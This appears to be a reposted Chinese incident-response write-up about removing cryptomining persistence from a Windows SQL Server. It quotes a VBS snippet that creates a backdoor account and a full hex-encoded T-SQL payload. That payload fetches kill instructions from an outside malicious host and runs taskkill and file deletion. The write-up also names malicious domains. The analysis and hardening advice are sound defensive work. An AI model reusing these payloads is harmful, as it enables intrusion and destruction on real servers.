实战 | 记一次挖矿应急响应案例_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

实战 | 记一次挖矿应急响应案例

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


实战 | 记一次挖矿应急响应案例

0x01 前言 在一个阳光明媚的下午和群里的兄弟在吹牛,然后甲方爸爸突然发了一张截图~ 0x02 分析与处置 1. 立马通知现场的同事先对服务器进行断网2. 此告警为防火墙与EDR联动之后由防火墙推送过来的,查看防火墙上的告警,发现受害主机在每天的0点、8点、14点、16点左右均会访问恶意域名down.b591.com和down.1226bye.pw,初步判断可能是入侵者配置的定时任务触发告警 3. 上机排查系统计划任务,计划任务中存在一个2015年10月16日创建的名称为456456的定时任务,计划脚本内容如下: Set o=CreateObject("Shell.Users")Set z=o.create("nanshou")z.changePassword "nanshoul",""z.setting("AccountType")=3 该脚本为每一分钟添加一个账号密码为nanshou/nanshou1的系统用户,先删除对应的脚本nanshou.vbs和定时任务,再将nanshou用户删除 4. 目前只找到一个恶意的计划任务,确认是被入侵成功,但还未找到已挖矿相关的痕迹,继续排查安全设备与服务器,EDR上发现访问恶意域名的动作由sqlserver.exe发起,利用沙箱对其进行分析,并未发现其有访问恶意域名的动作和其他恶意行为 5. 根据EDR上sqlserver.exe的调用行为,与该恶意域名的威胁分析,初步判断与sqlserver数据库有关 6. 登录受害主机sqlserver数据库,查看其计划作业任务,发现存在多个定时计划作业任务 7. 逐个核查计划作业任务,ftpbacks.exe该作业任务为每天2点左右通过ftp服务访问恶意域名:down.1226bye.pw,下载恶意文件,并保存到C:/windows/system目录下,检查C:/windows/system目录,未发现有下载成功的恶意脚本存在 根据作业步骤显示,该作业任务的脚本位置在C:/windows/system目录下,作业内容如下图所示,已删除该计划作业任务和恶意脚本 8. 继续分析作业任务dbdotas、dbdotas2和task.exe,发现其作业内容均为同一段HEX加密的编码 declare @a varchar(8000);set @a=0x4445434C41524520406A733120696E743B455845432073705F4F414372656174652027536372697074436F6E74726F6C272C406A7331204F55543B455845432073705F4F4153657450726F706572747920406A73312C20274C616E6775616765272C20274A617661536372697074312E31273B455845432073705F4F414D6574686F6420406A73312C20274576616C272C204E554C4C2C202775726C203D2022687474703A2F2F646F776E2E623539312E636F6D3A383838382F6B696C6C2E68746D6C223B2068747470203D206E657720416374697665584F626A65637428224D73786D6C322E584D4C4854545022293B2066736F203D206E657720416374697665584F626A6563742822536372697074696E672E46696C6573797374656D4F626A65637422293B20777368203D206E657720416374697665584F626A6563742822575363726970742E5368656C6C22293B20687474702E6F70656E2822474554222C2075726C2C2066616C7365293B20687474702E73656E6428293B20737472203D20687474702E726573706F6E7365546578743B20617272203D207374722E73706C697428225C725C6E22293B20666F72202869203D20303B2069203C206172722E6C656E6774683B20692B2B29207B2074203D206172725B695D2E73706C697428222022293B2070726F63203D20745B305D3B2070617468203D20745B315D3B2064656C65203D20745B325D3B207773682E52756E28227461736B6B696C6C202F66202F696D2022202B2070726F632C20302C2074727565293B206966202864656C65203D3D203029207B20747279207B2066736F2E44656C65746546696C6528706174682C2074727565293B207D20636174636820286529207B7D207D207D27;exec(@a); 经过HEX转码后发现这是一个用 JavaScript 和 VBScript 混合编写的脚本,使用 ActiveX 对象执行恶意操作。该脚本创建一个 ActiveX 对象“ScriptControl”并将其语言属性设置为 JavaScript 1.1。然后它使用“Eval”方法运行一串包含 JavaScript 和 VBScript 代码的代码。该代码执行以下操作: 创建了几个 ActiveX 对象,包括用于发送 HTTP 请求的“Msxml2.XMLHTTP”、用于操作文件的“Scripting.FileSystemObject”和用于执行 shell 命令的“WScript.Shell”。 使用“Msxml2.XMLHTTP”对象的“打开”和“发送”方法向指定的 URL 发送 GET 请求,请求down.b591.com:8888/kill.html尝试下载文件,并将响应文本保存到变量中。 将响应文本拆分为一个数组并循环遍历每个元素。对于每个元素,它再次将其分成两部分:进程名称和文件路径。 使用“WScript.Shell”对象的“Run”方法来执行 shell 命令“taskkill /f /im”,后跟进程名称。这将强制终止指定的进程。 如果元素的第二部分为 0,则使用“Scripting.FileSystemObject”对象的“DeleteFile”方法删除指定的文件路径。 9. 继续分析计划作业任务dbdotas3,发现其也为恶意作业任务,解码发现其存在访问恶意IOC的行为,立即对其进行删除处理 10. 分析pdoors.exe作业任务,其为运行ftpbacks.exe作业任务下载的恶意脚本myusago.dvr,已删除该作业计划 11. 分析pdoors.exe作业任务,其为运行ftpbacks.exe作业任务下载的恶意脚本backs.bat,已删除该作业计划 0x03 入侵路径还原 由于入侵时间久远(初步判断为2015年10月14日),数据库日志和系统日志缺失,且服务器审核策略未完全配置,无法准确溯源 根据威胁情报大概判断入侵路径为利用暴露在外网的SQL Server数据库弱密码爆破方式入侵该windows服务器(该服务器已在几年前禁止与外网通信),最后建立sqlserver计划作业任务来进行下一步的挖矿动作。 0x04 加固建议 1. 建议数据库和RDP等避免使用弱密码,避免多个系统使用同一个密码,登录口令需要满足等保要求的长度和复杂度,并且定期更换口令。 2. 关闭数据库账号登录方式,以 windows 身份验证方式登录数据库,并在 windows 策略里设置密码强度。 3. 建议加强安全管理,建立网络安全应急处置机制,完善系统日志审核策略、存储容量及存储方式,配合安全设备做好监测措施,及时发现攻击风险,及时处理。 文章来源:奇安信攻防社区(J1ng)原文地址:https://forum.butian.net/share/2126 黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文 END

实战 | 记一次挖矿应急响应案例